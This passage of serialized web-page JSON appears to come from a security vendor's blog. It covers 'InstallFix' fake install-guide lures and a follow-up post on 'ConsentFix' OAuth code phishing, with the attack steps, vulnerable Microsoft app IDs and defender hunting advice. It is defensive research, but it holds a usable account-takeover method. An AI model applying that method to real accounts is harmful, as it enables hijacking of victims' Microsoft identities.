22220],{"data":22221,"marks":22222,"value":3657,"nodeType":865},{},[22223],{"type":3535},{"data":22225,"content":22226,"nodeType":866},{},[22227,22230],{"data":22228,"marks":22229,"value":3557,"nodeType":865},{},[],{"data":22231,"marks":22232,"value":3668,"nodeType":865},{},[22233],{"type":935},{"data":22235,"content":22236,"nodeType":866},{},[22237],{"data":22238,"marks":22239,"value":3617,"nodeType":865},{},[22240],{"type":3535},{"data":22242,"content":22243,"nodeType":866},{},[22244],{"data":22245,"marks":22246,"value":3683,"nodeType":865},{},[22247],{"type":3535},{"entries":22249},{"hyperlink":22250,"inline":22251,"block":22252},[],[],[22253,22272,22306,22311,22317,22322,22327,22333,22341,22383,22386,22407,22449],{"sys":22254,"__typename":1679,"content":22255,"name":22271,"title":59},{"id":2686},{"json":22256},{"nodeType":1663,"data":22257,"content":22258},{},[22259],{"nodeType":866,"data":22260,"content":22261},{},[22262,22267],{"nodeType":865,"value":22263,"marks":22264,"data":22266},"Update March 16:",[22265],{"type":935},{},{"nodeType":865,"value":22268,"marks":22269,"data":22270}," We've identified a number of additional InstallFix pages targeting both the Claude Code docs page (as opposed to the quickstart guide) and NotebookLM, a research and note taking tool from Google. New IoCs have been added accordingly, but this campaign is moving very quickly, so the list won't stay up to date for long. ",[],{},"installfix insight box 5",{"sys":22273,"__typename":1679,"content":22274,"name":22305,"title":59},{"id":2729},{"json":22275},{"data":22276,"content":22277,"nodeType":1663},{},[22278,22298],{"data":22279,"content":22280,"nodeType":866},{},[22281,22285,22294],{"data":22282,"marks":22283,"value":22284,"nodeType":865},{},[],"Feeling *Fix fatigue? Us too. But we felt the naming appropriate to indicate that this is part of the same family of techniques. ClickFix has become synonymous with ",{"data":22286,"content":22288,"nodeType":889},{"uri":22287},"https://attack.mitre.org/techniques/T1204/004/",[22289],{"data":22290,"marks":22291,"value":22293,"nodeType":865},{},[22292],{"type":1191},"Malicious Copy and Paste",{"data":22295,"marks":22296,"value":22297,"nodeType":865},{},[],", even though most lures haven’t been related to “fixing” anything for a while now. The user action is essentially the same, just the context of the lure is different. ",{"data":22299,"content":22300,"nodeType":866},{},[22301],{"data":22302,"marks":22303,"value":22304,"nodeType":865},{},[],"But while traditional ClickFix attacks need to manufacture a reason for the user to run a command: a fake CAPTCHA, a fabricated error message, a bogus system prompt — InstallFix doesn't need any of that. The pretext is simply the user wanting to install legit software.","installfix insight box 3",{"sys":22307,"__typename":19827,"title":22308,"arcadeDemoUrl":22309,"playText":22310},{"id":2802},"InstallFix clickthrough demo","https://demo.arcade.software/w9lLXrpwl5E19eQMEcPb?embed","20 secs",{"sys":22312,"__typename":1671,"title":22313,"caption":22313,"layoutMode":59,"file":22314},{"id":2808},"Comparison of the legit page and install commands versus a malicious clone",{"url":22315,"width":1675,"height":22316},"https://images.ctfassets.net/y1cdw1ablpvd/27TYctONO1xi4dAh0lBeYS/36d88361bbb6568410af6d95b829b4d8/image4.png",588,{"sys":22318,"__typename":1671,"title":22319,"caption":22319,"layoutMode":59,"file":22320},{"id":2821},"When interacting with some of the detected pages, the user is redirected back to the legitimate site, lowering suspicion",{"url":22321,"width":14990,"height":14991},"https://images.ctfassets.net/y1cdw1ablpvd/17m5qsbzkBXFHumXDG8Kur/50d42f3c42092cba3082c4221a0857b0/image1.gif",{"sys":22323,"__typename":1671,"title":22324,"caption":59,"layoutMode":59,"file":22325},{"id":2841},"Cloned page 1",{"url":22326,"width":1675,"height":1717},"https://images.ctfassets.net/y1cdw1ablpvd/3ymf2ZJNmWE0U09oOQktzj/74984e9a094f01df4bcb661e23d58992/image2.png",{"sys":22328,"__typename":1671,"title":22329,"caption":59,"layoutMode":59,"file":22330},{"id":2847},"Cloned page lure 2",{"url":22331,"width":1675,"height":22332},"https://images.ctfassets.net/y1cdw1ablpvd/YbK5GVyftUS5G09jmdxSG/cc4c2cca40f873879d69371eab526b56/image3.png",1107,{"sys":22334,"__typename":1671,"title":22335,"caption":22336,"layoutMode":59,"file":22337},{"id":2853},"Lure 3","Google Search sponsored results for Claude Code cloned pages",{"url":22338,"width":22339,"height":22340},"https://images.ctfassets.net/y1cdw1ablpvd/3sLwOnpET892xdFyvBtzfn/956963620a9cec4bafd3b3a63f0426b0/image5.png",1915,903,{"sys":22342,"__typename":1679,"content":22343,"name":22382,"title":59},{"id":2859},{"json":22344},{"nodeType":1663,"data":22345,"content":22346},{},[22347],{"nodeType":866,"data":22348,"content":22349},{},[22350,22354,22362,22366,22373,22377],{"nodeType":865,"value":22351,"marks":22352,"data":22353},"Malvertising is an extremely prevalent distribution method ",[],{},{"nodeType":889,"data":22355,"content":22356},{"uri":1185},[22357],{"nodeType":865,"value":22358,"marks":22359,"data":22361},"we've seen used extensively",[22360],{"type":1191},{},{"nodeType":865,"value":22363,"marks":22364,"data":22365}," to distribute both phishing payloads and ClickFix-style lures (including the ",[],{},{"nodeType":889,"data":22367,"content":22368},{"uri":2096},[22369],{"nodeType":865,"value":2101,"marks":22370,"data":22372},[22371],{"type":1191},{},{"nodeType":865,"value":22374,"marks":22375,"data":22376}," campaign we uncovered last year). ",[],{},{"nodeType":865,"value":22378,"marks":22379,"data":22381},"In fact, 4 in 5 ClickFix lures we intercept are accessed from search engines.",[22380],{"type":935},{},"installfix insight box 1",{"sys":22384,"__typename":6278,"type":6279,"ctaText":22385,"buttonLabel":151,"buttonColour":6282,"buttonUrl":27},{"id":2903},"Read more about stealthy attack delivery and techniques in our new report, analysing the different browser-based techniques behind in-the-wild breaches in 2026.",{"sys":22387,"__typename":1679,"content":22388,"name":22406,"title":59},{"id":2978},{"json":22389},{"nodeType":1663,"data":22390,"content":22391},{},[22392,22399],{"nodeType":866,"data":22393,"content":22394},{},[22395],{"nodeType":865,"value":22396,"marks":22397,"data":22398},"Amatera is a relatively new infostealer used by cybercriminals to steal sensitive data, such as browser saved passwords, cookies, session tokens, and general system information. It started appearing publicly around 2025 and is considered an evolution of an older malware family called ACR Stealer, and is sold via subscription to criminal operators.",[],{},{"nodeType":866,"data":22400,"content":22401},{},[22402],{"nodeType":865,"value":22403,"marks":22404,"data":22405},"The malware uses various techniques designed to bypass AV/EDR, including direct NTSockets for C2, dynamic API resolution with WoW64 Syscalls, and multi-stage infection chains with dynamic payload delivery. Amatera communicates with its C2 server using hardcoded IP addresses belonging to legitimate CDNs, making the traffic difficult to block without disrupting legitimate services.",[],{},"installfix insight box 2",{"sys":22408,"__typename":1679,"content":22409,"name":22448,"title":59},{"id":2991},{"json":22410},{"nodeType":1663,"data":22411,"content":22412},{},[22413],{"nodeType":866,"data":22414,"content":22415},{},[22416,22421,22425,22433,22436,22444],{"nodeType":865,"value":22417,"marks":22418,"data":22420},"Edit: ",[22419],{"type":935},{},{"nodeType":865,"value":22422,"marks":22423,"data":22424},"When investigating different domains, we found additional research that indicates a variety of similar payloads being distributed. Our primary focus here is on the scale of the campaign and the lure delivery technique rather than deep analysis of the malware itself. Check out ",[],{},{"nodeType":889,"data":22426,"content":22428},{"uri":22427},"https://medium.com/@maurice.fielenbach/paste-with-caution-how-a-fake-claude-code-installer-drops-a-fileless-implant-via-deserialization-a85068955c0a",[22429],{"nodeType":865,"value":22430,"marks":22431,"data":22432},"this detailed analysis for one such teardown",[],{},{"nodeType":865,"value":6593,"marks":22434,"data":22435},[],{},{"nodeType":889,"data":22437,"content":22439},{"uri":22438},"https://www.reddit.com/r/CyberSecurityAdvice/comments/1riq3zj/i_accidentally_ran_a_suspicious_curl_command_in/",[22440],{"nodeType":865,"value":22441,"marks":22442,"data":22443},"this Reddit thread",[],{},{"nodeType":865,"value":22445,"marks":22446,"data":22447}," for another example.",[],{},"installfix insight box 4",{"sys":22450,"__typename":19827,"title":22451,"arcadeDemoUrl":22452,"playText":19830},{"id":3149},"ClickFix attack evolution demo","https://demo.arcade.software/UhbkGxUUQC8xpS5z88sx?embed",{"items":22454},[],{},"InstallFix: Weaponizing malvertised install guides  ",{"items":22458},[22459,23282,23875],{"__typename":1802,"sys":22460,"content":22462,"title":23268,"synopsis":23269,"hashTags":59,"publishedDate":23270,"slug":23271,"tagsCollection":23272,"authorsCollection":23278},{"id":22461},"4jcVFrvGBtVXpKU3gDMaa2",{"json":22463},{"data":22464,"content":22465,"nodeType":1663},{},[22466,22484,22491,22497,22553,22560,22567,22570,22578,22585,22592,22646,22654,22661,22684,22691,22694,22702,22709,22716,22723,22730,22737,22744,22750,22758,22765,22784,22804,22807,22815,22822,22829,22836,22844,22863,22870,22876,22884,22904,22924,23037,23040,23048,23055,23062,23065,23073,23080,23087,23094,23161,23191,23194,23202,23209,23216,23223,23230,23256,23262],{"data":22467,"content":22468,"nodeType":866},{},[22469,22473,22480],{"data":22470,"marks":22471,"value":22472,"nodeType":865},{},[],"In December, the Push Security research team discovered and blocked a brand new attack technique that we coined ",{"data":22474,"content":22475,"nodeType":889},{"uri":2096},[22476],{"data":22477,"marks":22478,"value":2101,"nodeType":865},{},[22479],{"type":1191},{"data":22481,"marks":22482,"value":22483,"nodeType":865},{},[],". This technique merged ClickFix-style social engineering with OAuth consent phishing to hijack Microsoft accounts. ",{"data":22485,"content":22486,"nodeType":866},{},[22487],{"data":22488,"marks":22489,"value":22490,"nodeType":865},{},[],"We saw this attack running across a large network of compromised websites that attackers were injecting the malicious payload into, forming a large-scale campaign that was detected across multiple customer estates. ",{"data":22492,"content":22496,"nodeType":921},{"target":22493},{"sys":22494},{"id":22495,"type":918,"linkType":919},"603MWDqc9NsqkklIkfGNZN",[],{"data":22498,"content":22499,"nodeType":866},{},[22500,22504,22513,22517,22525,22528,22537,22540,22549],{"data":22501,"marks":22502,"value":22503,"nodeType":865},{},[],"ConsentFix got a pretty awesome response from the community in a very short space of time. Within days, ",{"data":22505,"content":22507,"nodeType":889},{"uri":22506},"https://www.youtube.com/watch?v=AAiiIY-Soak",[22508],{"data":22509,"marks":22510,"value":22512,"nodeType":865},{},[22511],{"type":1191},"John Hammond shared a new and improved version of the technique",{"data":22514,"marks":22515,"value":22516,"nodeType":865},{},[]," that he’d spun up in his own lab, while security researchers from ",{"data":22518,"content":22520,"nodeType":889},{"uri":22519},"https://medium.com/@nitashathakur/consentfix-poc-how-the-attack-works-end-to-end-4f8b656f977d",[22521],{"data":22522,"marks":22523,"value":6523,"nodeType":865},{},[22524],{"type":1191},{"data":22526,"marks":22527,"value":3202,"nodeType":865},{},[],{"data":22529,"content":22531,"nodeType":889},{"uri":22530},"https://www.glueckkanja.com/en/posts/2025-12-31-vulnerability-consentfix",[22532],{"data":22533,"marks":22534,"value":22536,"nodeType":865},{},[22535],{"type":1191},"Glueck Kanja",{"data":22538,"marks":22539,"value":6593,"nodeType":865},{},[],{"data":22541,"content":22543,"nodeType":889},{"uri":22542},"https://msendpointmgr.com/2026/01/08/consentfix-quickfix/",[22544],{"data":22545,"marks":22546,"value":22548,"nodeType":865},{},[22547],{"type":1191},"other individual contributors",{"data":22550,"marks":22551,"value":22552,"nodeType":865},{},[]," all shared analysis and recommendations. ",{"data":22554,"content":22555,"nodeType":866},{},[22556],{"data":22557,"marks":22558,"value":22559,"nodeType":865},{},[],"In this blog, we’re sharing some new insights on the campaign, pulling together some of the top recommendations and resources shared across the community, and predicting what the future holds for this novel technique as it quickly enters the mainstream. ",{"data":22561,"content":22562,"nodeType":866},{},[22563],{"data":22564,"marks":22565,"value":22566,"nodeType":865},{},[],"First though, let’s quickly recap what ConsentFix is and how it works. ",{"data":22568,"content":22569,"nodeType":944},{},[],{"data":22571,"content":22572,"nodeType":953},{},[22573],{"data":22574,"marks":22575,"value":22577,"nodeType":865},{},[22576],{"type":935},"ConsentFix 101",{"data":22579,"content":22580,"nodeType":866},{},[22581],{"data":22582,"marks":22583,"value":22584,"nodeType":865},{},[],"ConsentFix is an attack technique that prompts the victim to share an OAuth authorization code with an attacker via a phishing page. The attacker then enters this code into a target application on their own device in order to complete the authorization handshake and take over the account. ",{"data":22586,"content":22587,"nodeType":866},{},[22588],{"data":22589,"marks":22590,"value":22591,"nodeType":865},{},[],"By hijacking OAuth, attackers can effectively bypass identity-layer controls like passwords and MFA — even phishing resistant authentication methods like passkeys have no impact on this attack, because it sidesteps the authentication process altogether. ",{"data":22593,"content":22594,"nodeType":866},{},[22595,22599,22608,22611,22618,22622,22631,22635,22643],{"data":22596,"marks":22597,"value":22598,"nodeType":865},{},[],"OAuth abuse attacks are not new. Techniques like ",{"data":22600,"content":22602,"nodeType":889},{"uri":22601},"https://github.com/pushsecurity/saas-attacks/blob/main/techniques/consent_phishing/description.md",[22603],{"data":22604,"marks":22605,"value":22607,"nodeType":865},{},[22606],{"type":1191},"consent phishing",{"data":22609,"marks":22610,"value":1182,"nodeType":865},{},[],{"data":22612,"content":22613,"nodeType":889},{"uri":6332},[22614],{"data":22615,"marks":22616,"value":6117,"nodeType":865},{},[22617],{"type":1191},{"data":22619,"marks":22620,"value":22621,"nodeType":865},{},[]," have been around for some time. However, these mainly focus on connecting your primary workspace account (e.g. Microsoft, Google, etc.) to a fraudulent, attacker-controlled application. But this is becoming increasingly difficult in core enterprise cloud environments like Azure due to ",{"data":22623,"content":22625,"nodeType":889},{"uri":22624},"https://learn.microsoft.com/en-us/microsoft-365/admin/misc/user-consent?view=o365-worldwide",[22626],{"data":22627,"marks":22628,"value":22630,"nodeType":865},{},[22629],{"type":1191},"stricter default configs",{"data":22632,"marks":22633,"value":22634,"nodeType":865},{},[],". That said, device code phishing still featured prominently in the recent ",{"data":22636,"content":22637,"nodeType":889},{"uri":2299},[22638],{"data":22639,"marks":22640,"value":22642,"nodeType":865},{},[22641],{"type":1191},"high-profile Salesforce attacks in 2025",{"data":22644,"marks":22645,"value":1066,"nodeType":865},{},[],{"data":22647,"content":22648,"nodeType":1229},{},[22649],{"data":22650,"marks":22651,"value":22653,"nodeType":865},{},[22652],{"type":935},"What makes ConsentFix so dangerous?",{"data":22655,"content":22656,"nodeType":866},{},[22657],{"data":22658,"marks":22659,"value":22660,"nodeType":865},{},[],"Unlike typical OAuth attacks, the novel ConsentFix approach enabled the attacker to target different types of application to what they usually go after — with big implications for detection and response. In this case, the attacker:",{"data":22662,"content":22663,"nodeType":2374},{},[22664,22674],{"data":22665,"content":22666,"nodeType":2309},{},[22667],{"data":22668,"content":22669,"nodeType":866},{},[22670],{"data":22671,"marks":22672,"value":22673,"nodeType":865},{},[],"Specifically targeted first-party Microsoft apps that cannot be restricted in the same way as third-party applications, and are pre-consented in every tenant (meaning users can authenticate to them without admin approval). ",{"data":22675,"content":22676,"nodeType":2309},{},[22677],{"data":22678,"content":22679,"nodeType":866},{},[22680],{"data":22681,"marks":22682,"value":22683,"nodeType":865},{},[],"Leveraged legacy scopes that are outside the scope of default logging to evade detection, and targeted scopes with known Conditional Access policy exclusions.",{"data":22685,"content":22686,"nodeType":866},{},[22687],{"data":22688,"marks":22689,"value":22690,"nodeType":865},{},[],"This means that default controls you’d expect to block malicious OAuth grants don’t apply, you may not have logging enabled to detect it if it did happen to you, and to top it off, conditional access policy exclusions mean that many organizations’ expected controls don’t work as intended in this case. ",{"data":22692,"content":22693,"nodeType":944},{},[],{"data":22695,"content":22696,"nodeType":953},{},[22697],{"data":22698,"marks":22699,"value":22701,"nodeType":865},{},[22700],{"type":935},"ConsentFix campaign recap",{"data":22703,"content":22704,"nodeType":866},{},[22705],{"data":22706,"marks":22707,"value":22708,"nodeType":865},{},[],"Let’s quickly recap how the ConsentFix campaign was implemented. ",{"data":22710,"content":22711,"nodeType":866},{},[22712],{"data":22713,"marks":22714,"value":22715,"nodeType":865},{},[],"The victim is served a page which requires that they verify that they are human by pasting a URL into the phishing page.",{"data":22717,"content":22718,"nodeType":866},{},[22719],{"data":22720,"marks":22721,"value":22722,"nodeType":865},{},[],"Clicking the “Sign In” button opens a legitimate Microsoft login page. If the user is already logged in (which they likely are if working in their normal browser) their account information is already pre-populated and they won’t need to authenticate again. ",{"data":22724,"content":22725,"nodeType":866},{},[22726],{"data":22727,"marks":22728,"value":22729,"nodeType":865},{},[],"Selecting their account redirects them to a localhost URL containing an OAuth authorization code — this is what they then post into the original phishing page to complete the attack. ",{"data":22731,"content":22732,"nodeType":866},{},[22733],{"data":22734,"marks":22735,"value":22736,"nodeType":865},{},[],"Once the attacker gets the URL, they can exchange it for an access token or refresh token for the particular application being targeted — in this case, Azure CLI.",{"data":22738,"content":22739,"nodeType":866},{},[22740],{"data":22741,"marks":22742,"value":22743,"nodeType":865},{},[],"The TL;DR is that the attacker is manually completing an authorization flow that happens when a user logs into Azure CLI — a a command line client that provides you with the ability to easily manage your Azure AD / Entra ID environment. Except in this case, they’re taking the victim’s information to log in on the attacker’s device instead. ",{"data":22745,"content":22749,"nodeType":921},{"target":22746},{"sys":22747},{"id":22748,"type":918,"linkType":919},"1eZOs7hXi9FzCE92QEP6xh",[],{"data":22751,"content":22752,"nodeType":1229},{},[22753],{"data":22754,"marks":22755,"value":22757,"nodeType":865},{},[22756],{"type":935},"Latest campaign details",{"data":22759,"content":22760,"nodeType":866},{},[22761],{"data":22762,"marks":22763,"value":22764,"nodeType":865},{},[],"Since we shared our blog post, we’ve had a number of additional details come to light about the campaign, which we’ve continued to track. ",{"data":22766,"content":22767,"nodeType":866},{},[22768,22772,22780],{"data":22769,"marks":22770,"value":22771,"nodeType":865},{},[],"It appears to be linked to Russian state-affiliated APT29, as corroborated by threat researchers we’ve been collaborating with. This is consistent with the ",{"data":22773,"content":22774,"nodeType":889},{"uri":2096},[22775],{"data":22776,"marks":22777,"value":22779,"nodeType":865},{},[22778],{"type":1191},"stealthy tactics we observed",{"data":22781,"marks":22782,"value":22783,"nodeType":865},{},[],", which go far beyond the run-of-the-mill detection evasion techniques we see used in criminal phishing campaigns. ",{"data":22785,"content":22786,"nodeType":866},{},[22787,22791,22800],{"data":22788,"marks":22789,"value":22790,"nodeType":865},{},[],"It shares many similarities with, and appears to be an evolution of, ",{"data":22792,"content":22794,"nodeType":889},{"uri":22793},"https://www.volexity.com/blog/2025/12/04/dangerous-invitations-russian-threat-actor-spoofs-european-security-events-in-targeted-phishing-attacks/",[22795],{"data":22796,"marks":22797,"value":22799,"nodeType":865},{},[22798],{"type":1191},"this Russia-affiliated campaign identified by Volexity",{"data":22801,"marks":22802,"value":22803,"nodeType":865},{},[]," that featured a manual version of the attack — where they victim was social engineered via email into opening the Microsoft URL, copying the localhost response, and sending it back to the attacker via email. ",{"data":22805,"content":22806,"nodeType":944},{},[],{"data":22808,"content":22809,"nodeType":953},{},[22810],{"data":22811,"marks":22812,"value":22814,"nodeType":865},{},[22813],{"type":935},"Top contributions from the community",{"data":22816,"content":22817,"nodeType":866},{},[22818],{"data":22819,"marks":22820,"value":22821,"nodeType":865},{},[],"As we mentioned earlier, the community response to ConsentFix has been incredible. ",{"data":22823,"content":22824,"nodeType":866},{},[22825],{"data":22826,"marks":22827,"value":22828,"nodeType":865},{},[],"As ever, you get a lot of vendors covering the attack technique with “install our product” as the recommendation. This is to be expected, but it’s misleading when some of these vendors are pushing EDR products that would have absolutely no way of detecting or blocking the attack. ",{"data":22830,"content":22831,"nodeType":866},{},[22832],{"data":22833,"marks":22834,"value":22835,"nodeType":865},{},[],"But cutting through the marketing, a lot of really great resources and recommendations were shared. ",{"data":22837,"content":22838,"nodeType":1229},{},[22839],{"data":22840,"marks":22841,"value":22843,"nodeType":865},{},[22842],{"type":935},"V2.0 released by John Hammond",{"data":22845,"content":22846,"nodeType":866},{},[22847,22851,22859],{"data":22848,"marks":22849,"value":22850,"nodeType":865},{},[],"Within days, John Hammond ",{"data":22852,"content":22853,"nodeType":889},{"uri":22506},[22854],{"data":22855,"marks":22856,"value":22858,"nodeType":865},{},[22857],{"type":1191},"posted about ConsentFix on his Youtube channel",{"data":22860,"marks":22861,"value":22862,"nodeType":865},{},[],", where he showed off a slick improvement on the ConsentFix implementation used by attackers. In his version, the URL containing the Microsoft authorization code was generated in a pop-up browser window that could simply be drag-and-dropped into the phishing page. ",{"data":22864,"content":22865,"nodeType":866},{},[22866],{"data":22867,"marks":22868,"value":22869,"nodeType":865},{},[],"This implementation is way smoother, making it much more likely that a victim would fall for it. And this took a matter of days… ",{"data":22871,"content":22875,"nodeType":921},{"target":22872},{"sys":22873},{"id":22874,"type":918,"linkType":919},"59tfJDRhGThKD48Wjg7uY2",[],{"data":22877,"content":22878,"nodeType":1229},{},[22879],{"data":22880,"marks":22881,"value":22883,"nodeType":865},{},[22882],{"type":935},"Additional vulnerable first-party apps identified",{"data":22885,"content":22886,"nodeType":866},{},[22887,22891,22900],{"data":22888,"marks":22889,"value":22890,"nodeType":865},{},[],"Fabian Bader and Dirk-jan Mollema from Glueck Kanja have ",{"data":22892,"content":22894,"nodeType":889},{"uri":22893},"https://entrascopes.com/?bypass=true&authcodeFix=true",[22895],{"data":22896,"marks":22897,"value":22899,"nodeType":865},{},[22898],{"type":1191},"shared a great resource",{"data":22901,"marks":22902,"value":22903,"nodeType":865},{},[]," on wider first-party apps that are vulnerable to ConsentFix. ",{"data":22905,"content":22906,"nodeType":866},{},[22907,22911,22920],{"data":22908,"marks":22909,"value":22910,"nodeType":865},{},[],"In total, there are 11 apps vulnerable to ConsentFix that also have known ",{"data":22912,"content":22914,"nodeType":889},{"uri":22913},"https://cloudbrothers.info/conditional-access-bypasses/#documented-bypasses",[22915],{"data":22916,"marks":22917,"value":22919,"nodeType":865},{},[22918],{"type":1191},"Conditional Access exclusions",{"data":22921,"marks":22922,"value":22923,"nodeType":865},{},[]," (either for the app generally, or when specific scopes are requested for the app):",{"data":22925,"content":22926,"nodeType":2374},{},[22927,22937,22947,22957,22967,22977,22987,22997,23007,23017,23027],{"data":22928,"content":22929,"nodeType":2309},{},[22930],{"data":22931,"content":22932,"nodeType":866},{},[22933],{"data":22934,"marks":22935,"value":22936,"nodeType":865},{},[],"Microsoft Azure CLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46",{"data":22938,"content":22939,"nodeType":2309},{},[22940],{"data":22941,"content":22942,"nodeType":866},{},[22943],{"data":22944,"marks":22945,"value":22946,"nodeType":865},{},[],"Microsoft Azure PowerShell: 1950a258-227b-4e31-a9cf-717495945fc2",{"data":22948,"content":22949,"nodeType":2309},{},[22950],{"data":22951,"content":22952,"nodeType":866},{},[22953],{"data":22954,"marks":22955,"value":22956,"nodeType":865},{},[],"Microsoft Teams: 1fec8e78-bce4-4aaf-ab1b-5451cc387264",{"data":22958,"content":22959,"nodeType":2309},{},[22960],{"data":22961,"content":22962,"nodeType":866},{},[22963],{"data":22964,"marks":22965,"value":22966,"nodeType":865},{},[],"Microsoft Whiteboard Client: 57336123-6e14-4acc-8dcf-287b6088aa28",{"data":22968,"content":22969,"nodeType":2309},{},[22970],{"data":22971,"content":22972,"nodeType":866},{},[22973],{"data":22974,"marks":22975,"value":22976,"nodeType":865},{},[],"Microsoft Flow Mobile PROD-GCCH-CN: 57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0",{"data":22978,"content":22979,"nodeType":2309},{},[22980],{"data":22981,"content":22982,"nodeType":866},{},[22983],{"data":22984,"marks":22985,"value":22986,"nodeType":865},{},[],"Enterprise Roaming and Backup: 60c8bde5-3167-4f92-8fdb-059f6176dc0",{"data":22988,"content":22989,"nodeType":2309},{},[22990],{"data":22991,"content":22992,"nodeType":866},{},[22993],{"data":22994,"marks":22995,"value":22996,"nodeType":865},{},[],"Visual Studio: 872cd9fa-d31f-45e0-9eab-6e460a02d1f1",{"data":22998,"content":22999,"nodeType":2309},{},[23000],{"data":23001,"content":23002,"nodeType":866},{},[23003],{"data":23004,"marks":23005,"value":23006,"nodeType":865},{},[],"Aadrm Admin Powershell: 90f610bf-206d-4950-b61d-37fa6fd1b224",{"data":23008,"content":23009,"nodeType":2309},{},[23010],{"data":23011,"content":23012,"nodeType":866},{},[23013],{"data":23014,"marks":23015,"value":23016,"nodeType":865},{},[],"Microsoft SharePoint Online Management Shell: 9bc3ab49-b65d-410a-85ad-de819febfddc",{"data":23018,"content":23019,"nodeType":2309},{},[23020],{"data":23021,"content":23022,"nodeType":866},{},[23023],{"data":23024,"marks":23025,"value":23026,"nodeType":865},{},[],"Microsoft Power Query for Excel: a672d62c-fc7b-4e81-a576-e60dc46e951d",{"data":23028,"content":23029,"nodeType":2309},{},[23030],{"data":23031,"content":23032,"nodeType":866},{},[23033],{"data":23034,"marks":23035,"value":23036,"nodeType":865},{},[],"Visual Studio Code: aebc6443-996d-45c2-90f0-388ff96faa56",{"data":23038,"content":23039,"nodeType":944},{},[],{"data":23041,"content":23042,"nodeType":953},{},[23043],{"data":23044,"marks":23045,"value":23047,"nodeType":865},{},[23046],{"type":935},"Predictions for ConsentFix",{"data":23049,"content":23050,"nodeType":866},{},[23051],{"data":23052,"marks":23053,"value":23054,"nodeType":865},{},[],"Based on the speed at which new iterations on the ConsentFix technique were shared by security researchers, and the breadth of apps and possible scopes that can be leveraged, both red teams and criminals will inevitably adopt ConsentFix into their arsenal of TTPs in the near future. It is likely that new ConsentFix variants will emerge imminently (if not already in circulation). ",{"data":23056,"content":23057,"nodeType":866},{},[23058],{"data":23059,"marks":23060,"value":23061,"nodeType":865},{},[],"All security teams responsible for protecting Microsoft environments should ensure that monitoring controls and mitigations are put in place as a matter of high priority. ",{"data":23063,"content":23064,"nodeType":944},{},[],{"data":23066,"content":23067,"nodeType":953},{},[23068],{"data":23069,"marks":23070,"value":23072,"nodeType":865},{},[23071],{"type":935},"Updated recommendations for security teams",{"data":23074,"content":23075,"nodeType":866},{},[23076],{"data":23077,"marks":23078,"value":23079,"nodeType":865},{},[],"As an entirely browser-native attack technique, many traditional security tools and data sources are of limited use when it comes to detecting or pre-emptively blocking this attack. At the same time, the attack exploits default Microsoft security configs to evade both prevention and detection controls.",{"data":23081,"content":23082,"nodeType":866},{},[23083],{"data":23084,"marks":23085,"value":23086,"nodeType":865},{},[],"To be able to tackle modern attacks like ConsentFix that occur entirely within the browser context, it is vital that organizations look to monitor the browser as a detection surface, hunt for signs of malicious activity, and block attacks in real-time — in the same way that you would expect EDR to work for endpoint attacks. ",{"data":23088,"content":23089,"nodeType":866},{},[23090],{"data":23091,"marks":23092,"value":23093,"nodeType":865},{},[],"For organizations relying on Microsoft logging as the sole line of defense against this attack, there are some new recommendations to add to the list thanks to the community response: ",{"data":23095,"content":23096,"nodeType":2374},{},[23097,23120,23130,23151],{"data":23098,"content":23099,"nodeType":2309},{},[23100],{"data":23101,"content":23102,"nodeType":866},{},[23103,23107,23116],{"data":23104,"marks":23105,"value":23106,"nodeType":865},{},[],"Ensure that logging for the deprecated ",{"data":23108,"content":23110,"nodeType":889},{"uri":23109},"https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/aadgraphactivitylogs",[23111],{"data":23112,"marks":23113,"value":23115,"nodeType":865},{},[23114],{"type":1191},"AADGraphActivityLogs",{"data":23117,"marks":23118,"value":23119,"nodeType":865},{},[]," is enabled.",{"data":23121,"content":23122,"nodeType":2309},{},[23123],{"data":23124,"content":23125,"nodeType":866},{},[23126],{"data":23127,"marks":23128,"value":23129,"nodeType":865},{},[],"Hunt in logs for the Application IDs highlighted above, along with the Resource IDs for Windows Azure Active Directory (00000002-0000-0000-c000-000000000000) and Microsoft Intune Checkin (26a4ae64-5862-427f-a9b0-044e62572a4f)",{"data":23131,"content":23132,"nodeType":2309},{},[23133],{"data":23134,"content":23135,"nodeType":866},{},[23136,23139,23147],{"data":23137,"marks":23138,"value":21,"nodeType":865},{},[],{"data":23140,"content":23141,"nodeType":889},{"uri":22542},[23142],{"data":23143,"marks":23144,"value":23146,"nodeType":865},{},[23145],{"type":1191},"Create Service Principals for each of the vulnerable apps and restrict the users that are authorized to access them",{"data":23148,"marks":23149,"value":23150,"nodeType":865},{},[]," to reduce the attack surface of users that can be phished with this method.",{"data":23152,"content":23153,"nodeType":2309},{},[23154],{"data":23155,"content":23156,"nodeType":866},{},[23157],{"data":23158,"marks":23159,"value":23160,"nodeType":865},{},[],"Block access to CLI tools via Conditional Access policy and issue exclusions for authorized users/groups. ",{"data":23162,"content":23163,"nodeType":866},{},[23164,23168,23177,23181,23188],{"data":23165,"marks":23166,"value":23167,"nodeType":865},{},[],"Additional resources that may be of use include community-created ",{"data":23169,"content":23171,"nodeType":889},{"uri":23170},"https://github.com/elastic/detection-rules/pull/5485",[23172],{"data":23173,"marks":23174,"value":23176,"nodeType":865},{},[23175],{"type":1191},"Elastic detection rules",{"data":23178,"marks":23179,"value":23180,"nodeType":865},{},[]," for ConsentFix and further mitigation and hunting guidance from ",{"data":23182,"content":23183,"nodeType":889},{"uri":22530},[23184],{"data":23185,"marks":23186,"value":22536,"nodeType":865},{},[23187],{"type":1191},{"data":23189,"marks":23190,"value":3017,"nodeType":865},{},[],{"data":23192,"content":23193,"nodeType":944},{},[],{"data":23195,"content":23196,"nodeType":953},{},[23197],{"data":23198,"marks":23199,"value":23201,"nodeType":865},{},[23200],{"type":935},"Learn more about Push Security",{"data":23203,"content":23204,"nodeType":866},{},[23205],{"data":23206,"marks":23207,"value":23208,"nodeType":865},{},[],"Even though this was a brand new technique, Push intercepted this attack and shut it down before customers could interact with it. ",{"data":23210,"content":23211,"nodeType":866},{},[23212],{"data":23213,"marks":23214,"value":23215,"nodeType":865},{},[],"Push tackles browser-based attacks using behavioral threat detection controls, powered by deep browser telemetry, to provide broad detection and blocking capabilities against attacks happening in the browser. This means analyzing the end-to-end process of a webpage loading/running in the browser, and how the user interacts with the page, to spot universal indicators of bad activity. ",{"data":23217,"content":23218,"nodeType":866},{},[23219],{"data":23220,"marks":23221,"value":23222,"nodeType":865},{},[],"This is the only reliable way to detect malicious websites in a world where IoC-based detections are trivial for attackers to get around. Rather than playing known-bad whac-a-mole, Push detects and blocks even zero-day 